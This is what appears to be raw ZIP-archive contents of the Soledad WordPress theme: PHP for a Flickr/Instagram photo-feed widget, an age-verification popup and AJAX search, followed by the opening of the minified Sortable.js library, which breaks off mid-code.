			$image_url = $link_to = '';
			if ( 'image_url' == $args['images_link'] ) {
				$link_to = $image_data['link'];
			} elseif ( 'user_url' == $args['images_link'] ) {
				$link_to = 'https://www.flickr.com/photos/' . $args['username'] . '/';
			}

			if ( $args['image_size'] == 'jr_insta_square' ) {
				$image_url = $image_data['url_thumbnail'];
			} elseif ( $args['image_size'] == 'full' ) {
				$image_url = $image_data['url'];
			} else {
				$image_url = isset( $image_data['url_small'] ) ? $image_data['url_small'] : $image_data['url'];
			}

			$short_caption = wp_trim_words( $image_data['caption'], 10, '...' );
			$caption       = wp_trim_words( $image_data['caption'], intval( $args['caption_words'] ), $more = null );
			$nopin         = ( 1 == $args['no_pin'] ) ? 'nopin="nopin"' : '';

			$image_src = '<span '.penci_layout_bg( $image_url ).' class="penci-image-holder instagram-square-lazy ' . penci_layout_bg_class() . '">' . penci_layout_img( $image_url ) . '</span>';

			$image_output = $image_src;
			if ( $link_to ) {
				$image_output = '<a href="' . $link_to . '" rel="noopener" target="_blank"';

				if ( ! empty( $args['image_link_rel'] ) ) {
					$image_output .= ' rel="' . $args['image_link_rel'] . '"';
				}

				if ( ! empty( $args['image_link_class'] ) ) {
					$image_output .= ' class="' . $args['image_link_class'] . '"';
				}
				$image_output .= ' title="' . $short_caption . '">' . $image_src . '</a>';
			}

			if ( 'slider' == $args['template'] ) {
				$output .= '<div class="penci-insta-info swiper-slide">';
				$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

				if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

					$output .= '<div class="penci-insta-datacontainer">';

					if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
						$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
						$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
					}

					$username = $args['username'];
					if ( in_array( 'username', $args['description'] ) && $username ) {
						$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.flickr.com/photos/{$username}/' target='_blank'>{$username}</a></span>\n";
					}

					if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
						$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
						$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.flickr.com/photos/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
						$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.flickr.com/explore/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
						$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
					}

					$output .= "</div>\n";
				}

				$output .= "</div>";
			} elseif ( 'slider-overlay' == $args['template'] ) {
				$output .= '<div class="penci-insta-info swiper-slide">';
				$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

				if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

					$output .= '<div class="penci-insta-wrap"><div class="penci-insta-datacontainer">';

					if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
						$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
						$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
					}

					$username = $args['username'];
					if ( in_array( 'username', $args['description'] ) && $username ) {
						$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.instagram.com/{$username}/' target='_blank'>{$username}</a></span>\n";
					}

					if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
						$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
						$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.instagram.com/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
						$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.instagram.com/photos/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
						$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
					}

					$output .= "</div></div>";
				}

				$output .= "</div>";
			} else {
				$output .= "<li>";
				$output .= $image_output;
				$output .= "</li>";
			}

			$i ++;
		}


		$data_slider = ' data-auto="false"';
		$data_slider .= ' data-autotime="' . ( $args['slidespeed'] ? $args['slidespeed'] : '5000' ) . '"';
		$data_slider .= ' data-dots="' . ( 'numberless' == $args['controls'] ? 'true' : '' ) . '"';
		$data_slider .= ' data-nav="' . ( 'prev_next' == $args['controls'] ? '' : 'true' ) . '"';

		if ( $output ) {
			if ( 'slider' == $args['template'] ) {
				echo '<div class="penci-instaslider-normal swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
			} elseif ( 'slider-overlay' == $args['template'] ) {
				echo '<div class="penci-instaslider-overlay swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
			} elseif ( 'thumbs-no-border' == $args['template'] ) {
				echo '<div class="penci-insta-thumb"><ul class="thumbnails no-border penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
			} else {
				echo '<div class="penci-insta-thumb"><ul class="thumbnails penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
			}
		}
	}

	public static function get_flickr_data( $args ) {

		$id    = $args['username'];
		$count = $args['images_number'];

		if ( empty( $id ) ) {
			return false;
		}

		$transient_key = md5( 'penci_flickr_cache_' . $id . $count );
		$cached        = get_transient( $transient_key );
		if ( ! empty( $cached ) ) {
			return $cached;
		}

		$protocol = is_ssl() ? 'https' : 'http';
		$output   = array();
		$rss      = $protocol . '://api.flickr.com/services/feeds/photos_public.gne?id=' . $id . '&lang=en-us&format=rss_200';
		$rss      = fetch_feed( $rss );

		if ( is_wp_error( $rss ) ) {
			//check for group feed
			$rss = $protocol . '://api.flickr.com/services/feeds/groups_pool.gne?id=' . $id . '&lang=en-us&format=rss_200';
			$rss = fetch_feed( $rss );
		}

		if ( ! is_wp_error( $rss ) ) {
			$maxitems  = $rss->get_item_quantity( $count );
			$rss_items = $rss->get_items( 0, $maxitems );
			$ncount    = 0;
			foreach ( $rss_items as $item ) {
				$temp               = array();
				$temp['link']       = esc_url( $item->get_permalink() );
				$temp['caption']    = esc_html( $item->get_title() );
				$temp['timestamp']  = esc_html( $item->get_date() );
				$temp['popularity'] = $ncount ++;
				$content            = $item->get_content();
				preg_match_all( "/<IMG.+?SRC=[\"']([^\"']+)/si", $content, $sub, PREG_SET_ORDER );
				$photo_url   = str_replace( "_m.jpg", "_b.jpg", $sub[0][1] );
				$photo_thumb   = str_replace( "_m.jpg", "_t.jpg", $sub[0][1] );
				$temp['url'] = esc_url( $photo_url );
				$temp['url_small'] = esc_url( $sub[0][1] );
				$temp['url_thumbnail'] = esc_url( $photo_thumb );
				$output[]    = $temp;
			}

			set_transient( $transient_key, $output, 60 * 60 * 24 );
		}

		return $output;
	}

	/**
	 * Sort Function for timestamp Ascending
	 */
	public static function sort_timestamp_ASC( $a, $b ) {
		return $a['timestamp'] <=> $b['timestamp'];
	}

	/**
	 * Sort Function for timestamp Descending
	 */
	public static function sort_timestamp_DESC( $a, $b ) {
		return $b['timestamp'] <=> $a['timestamp'];
	}

	/**
	 * Sort Function for popularity Ascending
	 */
	public static function sort_popularity_ASC( $a, $b ) {
		return $a['popularity'] <=> $b['popularity'];
	}

	/**
	 * Sort Function for popularity Descending
	 */
	public static function sort_popularity_DESC( $a, $b ) {
		return $b['popularity'] <=> $a['popularity'];
	}
}PK     N\ֽ(  (    inc/age-verify.phpnu [        <?php

class PenciAgeVerify {
	function __construct() {

		if ( ! get_theme_mod( 'penci_agepopup_enable' ) || current_user_can( 'manage_options' ) ) {
			return;
		}

		add_action( 'wp_footer', [ $this, 'content' ] );
		add_action( 'wp_enqueue_scripts', [ $this, 'scripts' ] );
		add_action( 'soledad_theme/custom_css', [ $this, 'popop_style' ] );
		add_filter( 'body_class', [ $this, 'body_class' ] );
	}

	public function scripts() {
		wp_enqueue_script( 'penci-age-verify', PENCI_SOLEDAD_URL . '/js/age-verify.js', [ 'js-cookies' ], PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-age-verify', 'penci_age_settings', [
			'age_verify'         => (bool) get_theme_mod( 'penci_agepopup_enable' ),
			'age_verify_expires' => 30,
		] );
	}

	public function body_class( $class ) {
		$class[] = 'pc-age-verify';

		return $class;
	}

	public function content() {
		$verify_content = get_theme_mod( 'penci_agepopup_message' );
		$error_content  = get_theme_mod( 'penci_agepopup_error_message' );
		$animation      = get_theme_mod( 'penci_agepopup_animation', 'move-to-top' );
		?>

        <div class="mfp-with-anim <?php echo esc_attr( $animation ); ?> penci-popup penci-age-verify">
            <div class="penci-age-verify-text">
				<?php echo do_shortcode( $verify_content ); ?>
            </div>

            <div class="penci-age-verify-text-error">
				<?php echo do_shortcode( $error_content ); ?>
            </div>

            <div class="penci-age-verify-buttons">
                <a href="#" aria-label="Agree" rel="nofollow noopener" class="button penci-age-verify-allowed">
					<?php echo penci_get_setting( 'penci_agepopup_agree_text' ); ?>
                </a>

                <a href="#" aria-label="Cancel" rel="nofollow noopener" class="button penci-age-verify-forbidden">
					<?php echo penci_get_setting( 'penci_agepopup_cancel_text' ); ?>
                </a>
            </div>
        </div>

		<?php
	}

	public function popop_style() {
		$popup_bgimg       = get_theme_mod( 'penci_agepopup_bgimg' );
		$popup_bgcl        = get_theme_mod( 'penci_agepopup_bgcolor' );
		$popup_bgrepeat    = get_theme_mod( 'penci_agepopup_bgrepeat' );
		$popup_bgposition  = get_theme_mod( 'penci_agepopup_bgposition' );
		$popup_bgsize      = get_theme_mod( 'penci_agepopup_bgsize' );
		$popup_bgscroll    = get_theme_mod( 'penci_agepopup_bgscroll' );
		$popup_mw          = get_theme_mod( 'penci_agepopup_width_mobile' );
		$popup_w           = get_theme_mod( 'penci_agepopup_width_desktop' );
		$popup_cl          = get_theme_mod( 'penci_agepopup_txtcolor' );
		$popup_tsize       = get_theme_mod( 'penci_agepopup_txt_size' );
		$popup_tmsize      = get_theme_mod( 'penci_agepopup_txt_msize' );
		$popup_spacing     = get_theme_mod( 'penci_agepopup_spacing' );
		$popup_bordercolor = get_theme_mod( 'penci_agepopup_bordercolor' );

		echo '.penci-age-verify{';
		if ( $popup_bgimg ) {
			echo 'background-image:url("' . esc_url( $popup_bgimg ) . '");';
		}
		if ( $popup_bgcl ) {
			echo 'background-color:' . esc_attr( $popup_bgcl ) . ';';
		}
		if ( $popup_bgrepeat ) {
			echo 'background-repeat:' . esc_attr( $popup_bgrepeat ) . ';';
		}
		if ( $popup_bgposition ) {
			echo 'background-position:' . esc_attr( $popup_bgposition ) . ';';
		}
		if ( $popup_bgsize ) {
			echo 'background-size:' . esc_attr( $popup_bgsize ) . ';';
		}
		if ( $popup_bordercolor ) {
			echo 'border-color:' . esc_attr( $popup_bordercolor ) . ';';
			echo 'border-style: solid;';
		}
		if ( $popup_bgscroll ) {
			echo 'background-scroll:' . esc_attr( $popup_bgscroll ) . ';';
		}
		if ( $popup_w ) {
			echo 'max-width:' . esc_attr( $popup_w ) . 'px;';
		}
		if ( $popup_cl ) {
			echo 'color:' . esc_attr( $popup_cl ) . ';';
		}
		if ( $popup_tsize ) {
			echo 'font-size:' . esc_attr( $popup_tsize ) . 'px;';
		}
		if ( $popup_spacing ) {
			echo $this->penci_spacing_extract_data( $popup_spacing );
		}
		echo '}';

		echo '@media only screen and (max-width:767px){.penci-age-verify{';
		if ( $popup_tmsize ) {
			echo 'font-size:' . esc_attr( $popup_tmsize ) . 'px;';
		}
		if ( $popup_mw ) {
			echo 'max-width:' . esc_attr( $popup_mw ) . 'px;';
		}
		echo '}}';

		$btn_1_cl    = get_theme_mod( 'penci_agepopup_btn1_color' );
		$btn_1_hcl   = get_theme_mod( 'penci_agepopup_btn1_hcolor' );
		$btn_1_bgcl  = get_theme_mod( 'penci_agepopup_btn1_bgcolor' );
		$btn_1_hbgcl = get_theme_mod( 'penci_agepopup_btn1_hbgcolor' );

		echo '.penci-age-verify-buttons .button.penci-age-verify-allowed{';
		if ( $btn_1_cl ) {
			echo 'color:' . $btn_1_cl . ';';
		}
		if ( $btn_1_cl ) {
			echo 'background-color:' . $btn_1_bgcl . ';';
		}
		echo '}';

		echo '.penci-age-verify-buttons .button.penci-age-verify-allowed:hover{';
		if ( $btn_1_hcl ) {
			echo 'color:' . $btn_1_hcl . ';';
		}
		if ( $btn_1_hbgcl ) {
			echo 'background-color:' . $btn_1_hbgcl . ';';
		}
		echo '}';

		$btn_2_cl    = get_theme_mod( 'penci_agepopup_btn2_color' );
		$btn_2_hcl   = get_theme_mod( 'penci_agepopup_btn2_hcolor' );
		$btn_2_bgcl  = get_theme_mod( 'penci_agepopup_btn2_bgcolor' );
		$btn_2_hbgcl = get_theme_mod( 'penci_agepopup_btn2_hbgcolor' );

		echo '.penci-age-verify-buttons .button.penci-age-verify-forbidden{';
		if ( $btn_2_cl ) {
			echo 'color:' . $btn_2_cl . ';';
		}
		if ( $btn_2_cl ) {
			echo 'background-color:' . $btn_2_bgcl . ';';
		}
		echo '}';

		echo '.penci-age-verify-buttons .button.penci-age-verify-forbidden:hover{';
		if ( $btn_2_hcl ) {
			echo 'color:' . $btn_2_hcl . ';';
		}
		if ( $btn_2_hbgcl ) {
			echo 'background-color:' . $btn_2_hbgcl . ';';
		}
		echo '}';

	}

	public function penci_spacing_extract_data( $number = '', $out = '' ) {
		$mpb = explode( ',', $number );
		if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
			$out .= 'padding-top:' . esc_attr( $mpb[0] ) . 'px;';
		}
		if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
			$out .= 'padding-right:' . esc_attr( $mpb[1] ) . 'px;';
		}
		if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
			$out .= 'padding-bottom:' . esc_attr( $mpb[2] ) . 'px;';
		}
		if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
			$out .= 'padding-left:' . esc_attr( $mpb[3] ) . 'px;';
		}

		if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
			$out .= 'border-top-width:' . esc_attr( $mpb[4] ) . 'px;';
		}
		if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
			$out .= 'border-right-width:' . esc_attr( $mpb[5] ) . 'px;';
		}
		if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
			$out .= 'border-bottom-width:' . esc_attr( $mpb[6] ) . 'px;';
		}
		if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
			$out .= 'border-left-width:' . esc_attr( $mpb[7] ) . 'px;';
		}

		if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
			$out .= 'border-top-left-radius:' . esc_attr( $mpb[8] ) . 'px;';
		}
		if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
			$out .= 'border-top-right-radius:' . esc_attr( $mpb[9] ) . 'px;';
		}
		if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
			$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[10] ) . 'px;';
		}
		if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
			$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[11] ) . 'px;';
		}

		return $out;
	}

}

new PenciAgeVerify;
PK     N\)  )    inc/ajax-search.phpnu [        <?php
if ( ! function_exists( 'penci_ajax_search_assets' ) ) {
	add_action( 'wp_enqueue_scripts', 'penci_ajax_search_assets' );
	function penci_ajax_search_assets() {

		if ( ! get_theme_mod( 'penci_ajxs_enable' ) ) {
			return;
		}

		$is_enable_rest = get_theme_mod( 'penci_handle_ajax_with_rest_api' );

		wp_register_script( 'penci-autocomplete', PENCI_SOLEDAD_URL . '/js/jquery.autocomplete.min.js', '', PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-ajaxsearch', PENCI_SOLEDAD_URL . '/js/ajax-search.js', [
			'penci-autocomplete',
			'jquery'
		], PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-ajaxsearch', 'penci_ajsr', array(
			'ajaxUrl'    => $is_enable_rest ? esc_url( rest_url( 'penci/v1/penci_ajax_search' ) ) : admin_url( 'admin-ajax.php' ),
			'minchar'    => (int) get_theme_mod( 'penci_ajxs_character', 2 ),
			'maxitems'   => (int) get_theme_mod( 'penci_ajxs_count', get_option( 'posts_per_page' ) ),
			'citems'     => (boolean) get_theme_mod( 'penci_ajxs_count' ),
			'thumbnail'  => (bool) get_theme_mod( 'penci_ajxs_thumb', true ),
			'date'       => (bool) get_theme_mod( 'penci_ajxs_date', true ),
			'allresults' => penci_get_setting( 'penci_trans_allresult' ),
			'nonce'      => wp_create_nonce( 'penci_search_ajax_nonce' ),
		) );
	}
}
if ( ! function_exists( 'penci_search_form' ) ) {
	function penci_search_form( $args = array() ) {
		$args = wp_parse_args( $args, array(
			'ajax'                   => get_theme_mod( 'penci_ajxs_enable' ),
			'post_type'              => 'post',
			'show_categories'        => false,
			'type'                   => 'form',
			'thumbnail'              => true,
			'price'                  => true,
			'count'                  => get_option( 'posts_per_page' ),
			'icon_type'              => '',
			'search_style'           => '',
			'custom_icon'            => '',
			'el_classes'             => '',
			'innerclass'             => '',
			'innerclass_css'         => 'inner-hbg-search-form',
			'wrapper_custom_classes' => '',
		) );

		extract( $args );

		if ( $ajax ) {

			ob_start();

			$class             = '';
			$btn_classes       = '';
			$data              = '';
			$wrapper_classes   = '';
			$dropdowns_classes = '';

			if ( $show_categories && $post_type == 'product' ) {
				$class .= ' penci-with-cat has-categories-dropdown';
			}

			if ( $icon_type == 'custom' ) {
				$btn_classes .= ' penci-with-img penci-searchform-custom-icon';
			}

			if ( $search_style ) {
				$class .= ' search-style-' . $search_style;
			}

			$ajax_args = array(
				'thumbnail'     => $thumbnail,
				'price'         => $price,
				'post_type'     => $post_type,
				'count'         => $count,
				'sku'           => '1',
				'symbols_count' => 3,
			);

			if ( $ajax ) {
				$class .= ' penci-ajax-search';
				foreach ( $ajax_args as $key => $value ) {
					$data .= ' data-' . $key . '="' . $value . '"';
				}
			}

			$placeholder = penci_get_setting( 'penci_trans_type_and_hit' );

			switch ( $post_type ) {
				case 'product':
					$description = penci_get_setting( 'penci_trans_sepproduct_desc' );
					break;

				case 'portfolio':
					$description = penci_get_setting( 'penci_trans_sepproject_desc' );
					break;

				default:
					$description = penci_get_setting( 'penci_trans_seppost_desc' );
					break;
			}

			if ( $el_classes ) {
				$class .= ' ' . $el_classes;
			}

			if ( $wrapper_custom_classes ) {
				$wrapper_classes .= ' ' . $wrapper_custom_classes;
			}

			if ( 'dropdown' === $type ) {
				$wrapper_classes .= ' penci-dropdown';
			}

			if ( 'full-screen' === $type ) {
				$wrapper_classes .= ' penci-fill';
			} else {
				$dropdowns_classes .= ' penci-dropdown';
			}

			$wrapper_classes   .= ' penci-search-' . $type;
			$dropdowns_classes .= ' penci-search-results';

			$autocompleted = $ajax ? ' autocomplete="off"' : '';

			?>
            <div class="penci-search-<?php echo esc_attr( $type ); ?><?php echo esc_attr( $wrapper_classes ); ?>">
				<?php if ( $type == 'full-screen' ): ?>
                    <span class="penci-close-search penci-action-btn penci-style-icon penci-cross-icon"><a></a></span>
				<?php endif ?>
                <form<?php echo $autocompleted; ?> role="search" method="get"
                                                   class="pc-searchform searchform <?php echo esc_attr( $class ); ?>"
                                                   action="<?php echo esc_url( home_url( '/' ) ); ?>" <?php echo ! empty( $data ) ? $data : ''; ?>>

					<?php if ( $innerclass ) : ?>
                    <div class="<?php echo $args['innerclass_css']; ?>">
						<?php endif; ?>
                        <input type="text" class="s search-input" placeholder="<?php echo esc_attr( $placeholder ); ?>"
                               value="<?php echo get_search_query(); ?>" name="s"
                               aria-label="<?php echo penci_get_setting( 'penci_trans_search' ); ?>"
                               title="<?php echo esc_attr( $placeholder ); ?>"/>
						<?php
						if ( $icon_type == 'custom' ) {
							echo $custom_icon;
						}
						?>
                        <button type="submit" class="searchsubmit<?php echo esc_attr( $btn_classes ); ?>">
	                            <span>
								<?php echo penci_get_setting( 'penci_trans_search' ); ?>
							</span>
                        </button>
						<?php if ( $innerclass ) : ?>
                    </div>
				<?php endif; ?>

                </form>
				<?php if ( $type == 'full-screen' ): ?>
                    <div class="search-info-text"><span><?php echo esc_html( $description ); ?></span></div>
				<?php endif ?>
				<?php if ( $ajax ): ?>
                    <div class="search-results-wrapper">
                        <div class="penci-dropdown-results penci-scroll<?php echo esc_attr( $dropdowns_classes ); ?>">
                            <div class="penci-search-results-wrapper"></div>
                        </div>

						<?php if ( 'full-screen' === $type ) : ?>
                            <div class="penci-search-loader"></div>
						<?php endif; ?>
                    </div>
				<?php endif ?>
            </div>
			<?php

			echo apply_filters( 'get_search_form', ob_get_clean() );
			wp_enqueue_script( 'penci-ajaxsearch' );
		} else {
			if ( $args['wrapper_custom_classes'] ) {
				echo '<div class="' . esc_attr( $args['wrapper_custom_classes'] ) . '">';
			}
			?>
            <form role="search" method="get" class="pc-searchform"
                  action="<?php echo esc_url( home_url( '/' ) ); ?>">
                <div class="pc-searchform-inner">
                    <input type="text" class="search-input"
                           placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
                    <i class="penciicon-magnifiying-glass"></i>
                    <button type="submit"
                            class="searchsubmit"><?php echo penci_get_setting( 'penci_trans_search' ); ?></button>
                </div>
            </form>
			<?php
			if ( $args['wrapper_custom_classes'] ) {
				echo '</div>';
			}
		}
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Ajax search
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_ajax_suggestions' ) ) {
	function penci_ajax_suggestions() {

		check_ajax_referer( 'penci_search_ajax_nonce', 'nonce' );
		echo json_encode( penci_ajax_search_results( $_REQUEST ) );
		die();
	}

	add_action( 'wp_ajax_penci_ajax_search', 'penci_ajax_suggestions', 10 );
	add_action( 'wp_ajax_nopriv_penci_ajax_search', 'penci_ajax_suggestions', 10 );
}
if ( ! function_exists( 'penci_ajax_search_results' ) ) {
	function penci_ajax_search_results( $requests ) {
		$post_types    = get_post_types(
			array(
				'public'            => true,
				'show_in_nav_menus' => true,
			),
			'names'
		);
		$array_include = array();
		foreach ( $post_types as $key => $val ) {
			$array_include[] = $key;
		}
		$exclude = array(
			'web-story',
			'e-landing-page',
			'penci-block',
			'penci_builder',
			'archive-template',
			'custom-post-template',
		);

		if ( ! get_theme_mod( 'penci_include_search_page' ) ) {
			$exclude[] = 'page';
		}

		$array_include = array_diff( $array_include, $exclude );


		$query_args = array(
			'posts_per_page' => 5,
			'post_status'    => 'publish',
			'post_type'      => $array_include,
			'no_found_rows'  => 1,
		);


		if ( ! empty( $requests['query'] ) ) {
			$query_args['s'] = sanitize_text_field( $requests['query'] );
		}

		if ( ! empty( $requests['number'] ) ) {
			$query_args['posts_per_page'] = (int) $requests['number'];
		}

		$results = new WP_Query( apply_filters( 'penci_ajax_search_args', $query_args ) );


		$suggestions = array();

		if ( $results->have_posts() ) {

			while ( $results->have_posts() ) {
				$results->the_post();

				$post_format_icon = '';
				$post_format      = get_post_format();
				switch ( $post_format ) {
					case "video":
						$post_format_icon = penci_icon_by_ver( 'fas fa-play', '' );
						break;
					case "audio":
						$post_format_icon = penci_icon_by_ver( 'fas fa-music', '' );
						break;
					case "link":
						$post_format_icon = penci_icon_by_ver( 'fas fa-link', '' );
						break;
					case "quote":
						$post_format_icon = penci_icon_by_ver( 'fas fa-quote-left', '' );
						break;
					case "gallery":
						$post_format_icon = penci_icon_by_ver( 'far fa-image', '' );
						break;
				}

				$post_format_icon = get_theme_mod( 'penci_ajxs_fmat_icon' ) ? $post_format_icon : '';

				$thumb_img     = has_post_thumbnail() ? get_the_post_thumbnail_url( get_the_ID(), 'thumbnail' ) : PENCI_SOLEDAD_URL . '/images/no-thumb.jpg';
				$suggestions[] = array(
					'value'     => html_entity_decode( wp_trim_words( get_the_title(), get_theme_mod( 'penci_ajxs_title_words', 8 ) ) ),
					'title'     => html_entity_decode( wp_strip_all_tags( get_the_title() ) ),
					'permalink' => get_the_permalink(),
					'date'      => get_the_date(),
					'thumbnail' => '<a ' . penci_layout_bg( $thumb_img ) . ' class="penci-image-holder ' . penci_layout_bg_class() . '">' . penci_layout_img( $thumb_img ) . $post_format_icon . '</a>',
				);

			}

			wp_reset_postdata();
		} else {
			$suggestions[] = array(
				'value'     => penci_get_setting( 'penci_trans_npostfound' ),
				'no_found'  => true,
				'permalink' => ''
			);
		}

		return array(
			'suggestions' => $suggestions,
			'allsearch'   => get_search_link( sanitize_text_field( $requests['query'] ) ),
		);
	}
}PK     N\noh  h     inc/dashboard/js/Sortable.min.jsnu [        /*! Sortable 1.15.0 - MIT | git://github.com/SortableJS/Sortable.git */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sortable=e()}(this,function(){"use strict";function e(e,t){var n,o=Object.keys(e);return Object.getOwnPropertySymbols&&(n=Object.getOwnPropertySymbols(e),t&&(n=n.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),o.push.apply(o,n)),o}function M(o){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{};t%2?e(Object(i),!0).forEach(function(t){var e,n;e=o,t=i[n=t],n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t}):Object.getOwnPropertyDescriptors?Object.defineProperties(o,Object.getOwnPropertyDescriptors(i)):e(Object(i)).forEach(function(t){Object.defineProperty(o,t,Object.getOwnPropertyDescriptor(i,t))})}return o}function o(t){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(){return(a=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n,o=arguments[e];for(n in o)Object.prototype.hasOwnProperty.call(o,n)&&(t[n]=o[n])}return t}).apply(this,arguments)}function i(t,e){if(null==t)return{};var n,o=function(t,e){if(null==t)return{};for(var n,o={},i=Object.keys(t),r=0;r<i.length;r++)n=i[r],0<=e.indexOf(n)||(o[n]=t[n]);return o}(t,e);if(Object.getOwnPropertySymbols)for(var i=Object.getOwnPropertySymbols(t),r=0;r<i.length;r++)n=i[r],0<=e.indexOf(n)||Object.prototype.propertyIsEnumerable.call(t,n)&&(o[n]=t[n]);return o}function r(t){return function(t){if(Array.isArray(t))return l(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function(t,e){if(t){if("string"==typeof t)return l(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Map"===(n="Object"===n&&t.constructor?t.constructor.name:n)||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?l(t,e):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function l(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,o=new Array(e);n<e;n++)o[n]=t[n];return o}function t(t){if("undefined"!=typeof window&&window.navigator)return!!navigator.userAgent.match(t)}var y=t(/(?:Trident.*rv[ :]?11\.|msie|iemobile|Windows Phone)/i),w=t(/Edge/i),s=t(/firefox/i),u=t(/safari/i)&&!t(/chrome/i)&&!t(/android/i),n=t(/iP(ad|od|hone)/i),c=t(/chrome/i)&&t(/android/i),d={capture:!1,passive:!1};function h(t,e,n){t.addEventListener(e,n,!y&&d)}function f(t,e,n){t.removeEventListener(e,n,!y&&d)}function p(t,e){if(e&&(">"===e[0]&&(e=e.substring(1)),t))try{if(t.matches)return t.matches(e);if(t.msMatchesSelector)return t.msMatchesSelector(e);if(t.webkitMatchesSelector)return t.webkitMatchesSelector(e)}catch(t){return}}function N(t,e,n,o){if(t){n=n||document;do{if(null!=e&&(">"!==e[0]||t.parentNode===n)&&p(t,e)||o&&t===n)return t}while(t!==n&&(t=(i=t).host&&i!==document&&i.host.nodeType?i.host:i.parentNode))}var i;return null}var g,m=/\s+/g;function I(t,e,n){var o;t&&e&&(t.classList?t.classList[n?"add":"remove"](e):(o=(" "+t.className+" ").replace(m," ").replace(" "+e+" "," "),t.className=(o+(n?" "+e:"")).replace(m," ")))}function P(t,e,n){var o=t&&t.style;if(o){if(void 0===n)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(t,""):t.currentStyle&&(n=t.currentStyle),void 0===e?n:n[e];o[e=!(e in o||-1!==e.indexOf("webkit"))?"-webkit-"+e:e]=n+("string"==typeof n?"":"px")}}function v(t,e){var n="";if("string"==typeof t)n=t;else do{var o=P(t,"transform")}while(o&&"none"!==o&&(n=o+" "+n),!e&&(t=t.parentNode));var i=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return i&&new i(n)}function b(t,e,n){if(t){var o=t.getElementsByTagName(e),i=0,r=o.length;if(n)for(;i<r;i++)n(o[i],i);return o}return[]}function O(){var t=document.scrollingElement;return t||document.documentElement}function k(t,e,n,o,i){if(t.getBoundingClientRect||t===window){var 